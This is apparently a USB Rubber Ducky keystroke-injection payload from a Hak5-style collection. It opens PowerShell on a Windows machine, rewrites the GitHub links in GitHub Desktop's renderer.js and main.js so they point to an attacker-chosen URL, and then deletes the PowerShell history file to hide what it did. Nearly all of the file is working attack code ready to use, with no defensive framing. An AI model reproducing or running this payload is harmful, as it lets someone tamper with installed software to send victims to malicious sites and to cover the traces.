payload.txt

REM_BLOCK
#####################################################
#                                                   #
# Title        : Replace Links In GithubDesktop     #
# Author       : Aleff                              #
# Version      : 1.0                                #
# Category     : Execution                          #
# Target       : Windows 10/11                      #
#                                                   #
#####################################################
END_REM


REM REQUIRED - Define here the new url that will replace the original github link
DEFINE #NEW_LINK example.com

REM DON'T CHANGE - This variable is a constant in this case, change it only if you are sure that the path to GithubDesktop is not the default
DEFINE #SUBDIRECTORY \AppData\Local\GitHubDesktop


REM_BLOCK
    Credits:    Hak5 LLC
    Website:    https://hak5.org/
    Source:     https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt
END_REM

EXTENSION PASSIVE_WINDOWS_DETECT
    REM VERSION 1.1
    REM AUTHOR: Korben

    REM_BLOCK DOCUMENTATION
        Windows fully passive OS Detection and passive Detect Ready
        Includes its own passive detect ready.
        Does not require additional extensions.

        USAGE:
            Extension runs inline (here)
            Place at beginning of payload (besides ATTACKMODE) to act as dynamic
            boot delay
            $_OS will be set to WINDOWS or NOT_WINDOWS
            See end of payload for usage within payload
    END_REM

    REM CONFIGURATION:
    DEFINE #MAX_WAIT 150
    DEFINE #CHECK_INTERVAL 20
    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
    DEFINE #NOT_WINDOWS 7

    $_OS = #NOT_WINDOWS

    VAR $MAX_TRIES = #MAX_WAIT
    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
        DELAY #CHECK_INTERVAL
        $MAX_TRIES = ($MAX_TRIES - 1)
    END_WHILE
    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
        $_OS = WINDOWS
    END_IF

    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
        IF ($_OS == WINDOWS) THEN
            STRING HELLO WINDOWS!
        ELSE
            STRING HELLO WORLD!
        END_IF
    END_REM
END_EXTENSION


GUI r
DELAY 1000
STRINGLN PowerShell
DELAY 1000

STRINGLN_POWERSHELL
    $path = Join-Path -Path $env:USERPROFILE -ChildPath "#SUBDIRECTORY"

    $folders = Get-ChildItem -Path $path -Directory | Where-Object { $_.Name -like "app-*" }

    $versions = $folders | ForEach-Object {
        [PSCustomObject]@{
            FolderName = $_.Name
            Version = [version]($_.Name -replace "app-", "")
        }
    }

    $latestVersionFolder = $versions | Sort-Object Version -Descending | Select-Object -First 1

    $latestFolderPath = Join-Path -Path $path -ChildPath $latestVersionFolder.FolderName
    $latestFolderPath += "\resources\app\"
    $renderer = "renderer.js"
    $main = "main.js"

    $filePath = "$latestFolderPath$renderer"

    $fileContent = Get-Content $filePath
    $regex = [regex]'(https:\/\/(?![\w\d\.\/\-]*api)[\w\d\.\/\-]*github[\w\d\.\/\-]+)'
    $modifiedContent = $fileContent -replace $regex, '#NEW_LINK'
    Set-Content -Path $filePath -Value $modifiedContent


    $filePath = "$latestFolderPath$main"
    $fileContent = Get-Content $filePath
    $regex = [regex]'openExternal\("(https:\/\/[\w\d\.\/\-]*github[\w\d\.\/\-]+)"\)'
    $modifiedContent = $fileContent -replace $regex, ('openExternal("#NEW_LINK")')
    Set-Content -Path $filePath -Value $modifiedContent; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit

END_STRINGLN